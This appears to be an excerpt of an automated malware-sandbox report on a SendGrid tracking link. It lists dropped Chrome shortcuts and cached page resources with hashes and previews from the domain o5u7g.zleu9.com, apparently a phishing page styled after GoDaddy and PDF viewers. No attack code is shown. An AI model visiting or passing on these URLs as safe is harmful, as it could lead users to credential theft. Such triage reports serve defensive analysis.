VT rate limit hit for: https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DlLb9_7VBE-2BPKrWdDFE8TeQU0FNoYmRNt3BbsAfHCQfpyMVcUv91cWM1GbR6tMnpfVZqwoeCii1Z-2FHB6Wp4CGi-2FJ4Nq2flvhbRyRKwbWUqyssDslf87wBQZbBQ0EZsTXlvzjuj1ZnarL4QCJJlvUup-2FiM-2F9GPG6X3nhhKKp6sQ0v-2BBs5Jrrpzc3e5B2aUKKEJUx1Hjrx3xc16wmpK1HmM2sLiNIweMaJlJ9frDis7-2BK565mLw-3D

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Apr 23 18:53:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.98722798095695
Encrypted:	false
SSDEEP:	48:8hdNTVpvAHLidAKZdA19ehwiZUklqehKlxy+3:8ZDvgrxy
MD5:	4568074A3C1D275F33B9626FA2018E04
SHA1:	2B458E4DE23B17F47F6C818582B4850BA7517C1C
SHA-256:	210B14793B2BFA33C2C5CD3DF3159AFE4B568EBD3006541965E63C01D39E0A39
SHA-512:	F128B5A7E7D1E9FCB3241850E78314050CDCD6B8646AC80A4861A94248EC45703A980BAB145B9CA7CDA321848EA996B84D1459664EAFBC3CBDEA4090F4434568
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....0J...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............T.7.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Apr 23 18:53:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.002034739995868
Encrypted:	false
SSDEEP:	48:8SdNTVpvAHLidAKZdA1weh/iZUkAQkqehZlxy+2:8EDva9Q4xy
MD5:	285DB19934D188643B744FD8CE9448D9
SHA1:	323F63CF98EDFA3D72C4254E2B1B2434B6B44A76
SHA-256:	503E139A7A89ECD0B12B4651B7F314FF1F58D34DED72A8B30A51B6DE31FF212A
SHA-512:	7525CDFDBDA3294FF34C03D4FAC30FD41674762D465BBE6154B2C821753D5DFD0EF45454B9E9722A3867E6A1F11A63D313A6FA4C6528174826BAE8E951E37A71
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....8>...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............T.7.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.00984169041219
Encrypted:	false
SSDEEP:	48:8xKdNTVpsHLidAKZdA14tseh7sFiZUkmgqeh7sPlxy+BX:8xsDGnfxy
MD5:	5B0FDB129B3D2508A077C85C76F59A7A
SHA1:	7BE640514D106ED4DB0F560DF3002E3D10AA1C00
SHA-256:	59405F5D6775C772930B5A613FDD560F244961C3B6DFCB7032A960DAD888320E
SHA-512:	E0762FA435FDE0B7BA9E17719A3644D655C0F3F377331EC4BAA03AC872E38A7FC84F2D19EB5BE27BD81E339F5BBC0D39D29B07A9C3EFE0DFC8AD66ACB6249462
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............T.7.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Apr 23 18:53:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.000676591662416
Encrypted:	false
SSDEEP:	48:8XVdNTVpvAHLidAKZdA1vehDiZUkwqehNlxy+R:8VDvBVxy
MD5:	E679696A3C62F7DF13455CCBB02FA5C9
SHA1:	1757C214CF37B89F55879374B046F9519E967DBD
SHA-256:	8D4ECC816BD9FF0BC8607E6EEC01700E267BC269364AB9BC88F46FE8807AF3CC
SHA-512:	617D0B1B7EBD0B444DF01F738F5467B6EA30024907EB063F8459F17D72DF28C16FD385A9DF1E6C702C686B0A4E305A91D3D78CE74F077EAC29D4700DE985BDFD
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......8...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............T.7.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Apr 23 18:53:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9901969303323863
Encrypted:	false
SSDEEP:	48:84dNTVpvAHLidAKZdA1hehBiZUk1W1qehblxy+C:8eDvB9hxy
MD5:	B003FDB8083DC6C740277AE67D405BA9
SHA1:	2679AA50D636DBD736B45511DDC5E303C9FCCC1B
SHA-256:	6059635BDBEE7BEA7F0F40C06CE7FE2D268A5CA50C2E89628CE7F8C7906C7EF4
SHA-512:	698267042D7B35B2274D55AC9E03B438CDBEDCF615C47D265D77341BC726BCC4CE0E0BA75331B82174503F9941D70F7D297E8DE3054E9F5C48C605720DAF37E0
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......E...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............T.7.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Apr 23 18:53:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.999855607932309
Encrypted:	false
SSDEEP:	48:8UdNTVpvAHLidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbFlxy+yT+:8iDv9T/TbxWOvTbfxy7T
MD5:	D8F8F8CD566F4CBFB562306330D95E02
SHA1:	39D7D43CF221D42B2D2433E45317EE1DDA1B0CB9
SHA-256:	F269F1D01CE4A5F381B281AFEB95ACCE782323180710BB48107906478717E8B1
SHA-512:	D9EF7240EC65E775399DA11749CA05D80CC22D832416619345BB9A44EEFF841BA342947638222563318CCBE64021D8A339E7AFCA70EF695F449E6E84B087DE50
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......0...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............T.7.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2446 x 899, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	70712
Entropy (8bit):	6.94130504124589
Encrypted:	false
SSDEEP:	768:lBgPNoDCQcgEBtp8Y/fYous0+W/+hVNpTrP19NhgtJ+6qcHaDCzGoSRug:lBgC+Qoju/szW/SNDaJ+6qc6DESR5
MD5:	F70FF06D19498D80B130EC78176FD3FF
SHA1:	9D8A3B74C5164FF7AE2C7930B6D7B14707B404FC
SHA-256:	DF6DBAB5251E56B405E48AAF57D3CD4188F073FFBA71131FA6CD26E6742923AE
SHA-512:	543151693C3751A7E6B1B6A9EA77B83CFD049BC320EE75B666514076F4C0218E9DC23DA5E6C932B2B8670AA1BE1D4E9A91A889F5C6F0D7B9F9C9FE6694609B31
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................... .IDATx....q......!8.on.....{....4{..{U.A!x...t3P.~.S86...N....7USM....p.".?..>.G....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @.......

Chrome Cache Entry: 101

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1048)
Category:	downloaded
Size (bytes):	29039
Entropy (8bit):	4.476700154217347
Encrypted:	false
SSDEEP:	192:lHVYB4GEwZT1TpSGCeRH8u/Lj7Ma9xPcjBsvLNrqbVb+6JknFjlirg1qaR3H0ZP7:Y4V4iCqaRXqBLf
MD5:	AFE596D22E03E70224D688182A7BAD30
SHA1:	17182642B506F044830CA2D757C0D65F9487B99D
SHA-256:	B974B1D98F710416C1561362ADA61FF80672B9CF6BCBF0BB4F35D0C34D037284
SHA-512:	A81FF344FB3D3FE3EE6D165A7DD78617FF537957EAB4C9523EEE25509726039986B8818FFCA59E8B245ECD06BB3A6A9F249060F184869762C50B189A97CCF397
Malicious:	false
Reputation:	low
URL:	https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288
Preview:	<!DOCTYPE html><html><head>. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">. <meta name="viewport" content="width=device-width, initial-scale=1.0">. <title>Marketing Form</title>. <meta name="referrer" content="never">. <meta type="xrm/designer/setting" name="type" value="marketing-designer-content-editor-document">. <meta type="xrm/designer/setting" name="layout-editable" value="marketing-designer-layout-editable">. <style>. .editor-control-layout html {. box-sizing: border-box;. background-color: #fff;. }. .editor-control-layout ,. .editor-control-layout :before,. .editor-control-layout *:after {. box-sizing: inherit;. }.. .marketingForm h1 {. color: #000;. margin: 0px;. padding: 0px;. width: 100%;. font-family: "Segoe

Chrome Cache Entry: 102

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1437), with CRLF line terminators
Category:	downloaded
Size (bytes):	38221
Entropy (8bit):	5.115226983536052
Encrypted:	false
SSDEEP:	192:loogIexLQ5WKTCFBwCIZtJ8FtX2+UBRkfeWcrScuH9Ye3YdersR8Q5oqWjf7ogxp:2DKAaZtJs5odw7hx5P6mqjDggJkLLn
MD5:	FBE2FCF4596B299453C91B7231BA7427
SHA1:	743291EE60A551E043529AFDC9E3FBE72D70E776
SHA-256:	2DE22B4CDEDCBEB9CD5F63EA7A0DF8F77D0EF9086D200B052BFA9EE949DEED40
SHA-512:	15CA09CD5754927D77B2CC9B74356585C5A1DD934ECF25B613F47964236A739DA8BE389999DE1AEEE7BDF8FA12FCBB07EEFF49E0EA80BA87AC786606DE74774F
Malicious:	false
Reputation:	low
URL:	https://o5u7g.zleu9.com/xyt4uiudpq34gh30
Preview:	@font-face{font-family: 'gdsherpa';font-weight: 700;src: url('/web8/assets/fonts/GDSherpa-bold.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-bold.woff') format('woff');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family: 'gdsherpa';font-weight: 400;src: url('/web8/assets/fonts/GDSherpa-regular.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-regular.woff') format('woff');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family: 'gdsherpa';font-weight: 1 999;src: url('/web8/assets/fonts/GDSherpa-vf.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-vf.woff2') format('woff2-variations');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family: 'gdsherpa';font-weight: 1 900;src: url('/web8/assets/fonts/GDSherpa-vf2.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-vf2.woff2') format('woff2-variations');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family: 'gd-sage';font-weight: 700;src: url('/web8/ass

Chrome Cache Entry: 103

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2446 x 899, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	70712
Entropy (8bit):	6.94130504124589
Encrypted:	false
SSDEEP:	768:lBgPNoDCQcgEBtp8Y/fYous0+W/+hVNpTrP19NhgtJ+6qcHaDCzGoSRug:lBgC+Qoju/szW/SNDaJ+6qc6DESR5
MD5:	F70FF06D19498D80B130EC78176FD3FF
SHA1:	9D8A3B74C5164FF7AE2C7930B6D7B14707B404FC
SHA-256:	DF6DBAB5251E56B405E48AAF57D3CD4188F073FFBA71131FA6CD26E6742923AE
SHA-512:	543151693C3751A7E6B1B6A9EA77B83CFD049BC320EE75B666514076F4C0218E9DC23DA5E6C932B2B8670AA1BE1D4E9A91A889F5C6F0D7B9F9C9FE6694609B31
Malicious:	false
Reputation:	low
URL:	https://o5u7g.zleu9.com/uv6N4AFPttA1rsB4OrhISLW7u68mn9vUiv3nGs2KGxWywnndfrLnMDhNBKWNovufref260
Preview:	.PNG........IHDR................... .IDATx....q......!8.on.....{....4{..{U.A!x...t3P.~.S86...N....7USM....p.".?..>.G....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @.......

Chrome Cache Entry: 104

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42414)
Category:	downloaded
Size (bytes):	42415
Entropy (8bit):	5.374174676958316
Encrypted:	false
SSDEEP:	768:JC9//LuIHdpbSt3JoVMjX1y48S7d1dxoqmNdKyBVnPNAZASyXY1eO4mH19B59:OuIHdpbSt3vFy4X4PNdN+9
MD5:	F94A2211CE789A95A7C67E8C660D63E8
SHA1:	F1FC19B6BCB96D0A905BF3192AAFF0885FF9F36F
SHA-256:	926DC3302F99EC05E4206E965DDEB7250F5910A8C38E82C7BEAFB724BBAAF37B
SHA-512:	EAC0FC89C2D6CCEB9F4C18DFC610DFF8BC194D3994F0C74B3D991F8423C6DADE11D805E76124596521C58AFA9939B45D2D3157F0A48626E12548020FC38364D3
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/b/471dc2adc340/api.js?render=explicit
Preview:	"use strict";(function(){function bt(e,r,t,o,u,s,m){try{var b=e[s](m),h=b.value}catch(d){t(d);return}b.done?r(h):Promise.resolve(h).then(o,u)}function Et(e){return function(){var r=this,t=arguments;return new Promise(function(o,u){var s=e.apply(r,t);function m(h){bt(s,o,u,m,b,"next",h)}function b(h){bt(s,o,u,m,b,"throw",h)}m(void 0)})}}function M(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):M(e,r)}function Ie(e,r,t){return r in e?Object.defineProperty(e,r,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[r]=t,e}function Ve(e){for(var r=1;r<arguments.length;r++){var t=arguments[r]!=null?arguments[r]:{},o=Object.keys(t);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(t).filter(function(u){return Object.getOwnPropertyDescriptor(t,u).enumerable}))),o.forEach(function(u){Ie(e,u,t[u])})}return e}function fr(e,r){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 105

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (23398), with no line terminators
Category:	downloaded
Size (bytes):	23398
Entropy (8bit):	5.104409455331282
Encrypted:	false
SSDEEP:	384:ztafGtz2omXX44PL5Ky0sdY8xbXnb4YEb0tkBSgfn:hafSz2omXX44PL5Ky0sdY8xbXnEYw0sz
MD5:	C1C51D30D5E7094136F2D828349E520F
SHA1:	10AE8971AD7A8798BC9732707FE4896B57541557
SHA-256:	0C55057782E3B346C2B819574BFA916852BC8AC5BB4E01D56E8FBFFC22043C98
SHA-512:	7CF90E58A309B53DB53570129780E0ABCEFA2802C1A6441C1A4B49DC265DF617220DC1072CEBDAE7A74C3CA85F5D87B606503BD48A60E049372BE5CAF39969F7
Malicious:	false
Reputation:	low
URL:	https://o5u7g.zleu9.com/56AdOYKMMLgoJxyRlCwu18915
Preview:	,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_pdf .pdfheader #pageName,.row.tile,.row.tile:not(.no-pick):active,.row.tile:not(.no-pick):hover,input{color:inherit},input{margin:0}.p,.text-body,.text-subtitle,h4{font-weight:400}*,.text-title{font-family:"Segoe UI","Helvetica Neue","Lucida Grande",Roboto,Ebrima,"Nirmala UI",Gadugi,"Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI",Tunga,"Lao UI",Raavi,"Iskoola Pota",Latha,Leelawadee,"Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math"}.websitesections{height:100%;width:100vw;position:relative}#sections_godaddy,#sections_pdf{display:flex;flex-direction:column;height:100vh}#sections_pdf a{color:#fff;text-deco

Chrome Cache Entry: 106

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2160 x 443, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	49602
Entropy (8bit):	7.881935507115631
Encrypted:	false
SSDEEP:	768:eKE36up1D3cLJg7zmjprNBQqJCoklwCeFrpKZ00PIwoftXEsQsV1kZ8IHml446Xe:KqupJ9+aqyqCz+0ALcmDIHnjL2p
MD5:	DB783743CD246FF4D77F4A3694285989
SHA1:	B9466716904457641B7831868B47162D8D378D41
SHA-256:	5913B1EC0FC58AB2BEC576804B9E9B566A584EA3D21A1BF74A7B40051A447FDC
SHA-512:	E6F36C52996B6BF8B07C7A102DEF2D555A1D35FA12F1A2016EDD8F3C86C33DD3545513B436AB6B4EF1D1CAD8A5CA5D352BA587EEE605638640B258C3976D9033
Malicious:	false
Reputation:	low
URL:	https://o5u7g.zleu9.com/ghKeukEOXpk08d7sqAz7M1lBesvLMPeWkhZORrTevmnvovqEHrlQNU4MGnNhzR0tmqV912202
Preview:	.PNG........IHDR...p..........{......sBIT....\|.d.....pHYs..;...;...3.+....tEXtSoftware.www.inkscape.org..<... .IDATx...w.]U....L.I(!.B..J..R....PD.z-.(...4Q..MQ. .(..EE.AP:.....HI.... ....ur3..r.Y.\|....z..3.2.g..{..Y.V..6.u...U...Q.Z.X......m..........^......O.^l......Y.)`\|...:......x.:."0r...H.W.....,.......j.....L%]s../4.>.<.........S.$I.$I.$I.T.....(`s`S`.`C`mR..J...6.x.x.x..z9.......g..j}R...h.1.t]=....n..#.f.I.$I.$I.$I%c.G.. 5il.l.lCj.(S.F;.....7...AZ.@B....%.E....C.be3..K....S."CI.$I.$I.$I...jV.v.v.v$5l..M.ysI......x{/i...Y...o..m.......v.6.>R..$I.$I.$I.......F.{..6v!...1{.Y..9ng...S..TF.I..;.o&5A.....&.w....$5J..M$I.$I.$I.$.........Q;..IQ...9n.nl.Z.e.......j.`hd..{..=p-p=n."I.$I.$I.$eg.G...........8...i......b. [.{.V.........V...96GI.$I.$I.$IY...c ..R...Q.q..,..........Gm........X=6NW......clp.I.$I.$I.$IZ..g...s...c...F.A.<z*.Q.a...+.?....8.Xn.GO.$I.$I.$I..,O.l....@.....z.....R..a$.:...I.yb-....l....$I.$I.$I.$.....$.'S..j.p..3NBGX..M.3.?.......p$I.$

Chrome Cache Entry: 107

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 36696, version 1.0
Category:	downloaded
Size (bytes):	36696
Entropy (8bit):	7.988666025644622
Encrypted:	false
SSDEEP:	768:lvJo4KciQZYjebVq19lKPtHAQ/l4rj2bqkiHShpeSUOR4OqWOgaU:lhH3rVq1PKP432tSSh4SUORHqWcU
MD5:	A69E9AB8AFDD7486EC0749C551051FF2
SHA1:	C34E6AA327B536FB48D1FE03577A47C7EE2231B8
SHA-256:	FD78A1913DB912221B8EAD1E62FAD47D1FF0A9FA6CD88D3B128A721AD91D2FAF
SHA-512:	9A0E4297282542B8813F9CC85B2CCB09663CE281F64503F9A5284631881DA9AACF7649553BF1423D941F01B97E6BC3BA50AB13E55E4B7B61C5AA0A4ADF4D390F
Malicious:	false
Reputation:	low
URL:	https://o5u7g.zleu9.com/45lqabaypR8xixiJ6pi09abYdPVRJTWCXvw70
